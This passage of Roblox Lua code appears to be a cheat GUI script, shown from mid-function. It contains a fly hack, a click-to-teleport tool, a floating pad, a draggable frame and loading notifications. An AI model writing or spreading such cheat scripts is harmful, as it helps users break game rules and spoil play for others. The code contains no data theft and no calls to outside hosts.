ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false

else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0

local bg = Instance.new("BodyGyro", UpperTorso)


bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or
game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()

if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then


speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0)
and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) +
((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,
(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r =
ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0
and speed ~= 0 then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector *
(lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) -
game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end

bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame *
CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false

end

end)

local tis
end
coroutine.wrap(SSWSNG_fake_script)()
local function GYRIVDI_fake_script() -- tp.LocalScript
local script = Instance.new('LocalScript', tp)

script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GYRIVDI_fake_script)()
local function BCBQLZ_fake_script() -- floatingpad.LocalScript
local script = Instance.new('LocalScript', floatingpad)

script.Parent.MouseButton1Click:Connect(function()
local name = game.Players.LocalPlayer.Name

local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.Color = Color3.new(0.666667, 0, 0)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame =
CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x,
game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4,
game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(BCBQLZ_fake_script)()
local function KXYQAXQ_fake_script() -- Frame.UIDrag
local script = Instance.new('LocalScript', Frame)

-- Made by Real_IceyDev (@lceyDex) --


-- Simple UI dragger (PC Only/Any device that has a mouse) --

local UIS = game:GetService('UserInputService')


local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil

local function updateInput(input)


local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset +
delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed),
{Position = position}):Play()
end

frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)

UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(KXYQAXQ_fake_script)()
local function GEVXYR_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)

wait(2)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "now loaded lol";
Text = "By FishNoobAhh";
Icon = "";
Duration = 10;
Button1 = "yes sirrr";
})
end
coroutine.wrap(GEVXYR_fake_script)()
local function PYIQX_fake_script() -- ScreenGui.messageload
local script = Instance.new('LocalScript', ScreenGui)

if script.Parent.Enabled == true then


local m = Instance.new("Message", game.Workspace)
m.Text = "1x1x1x1 gui fe Loading..."
wait(2)
m:Destroy()
script:Destroy()
else

end
end
coroutine.wrap(PYIQX_fake_script)()

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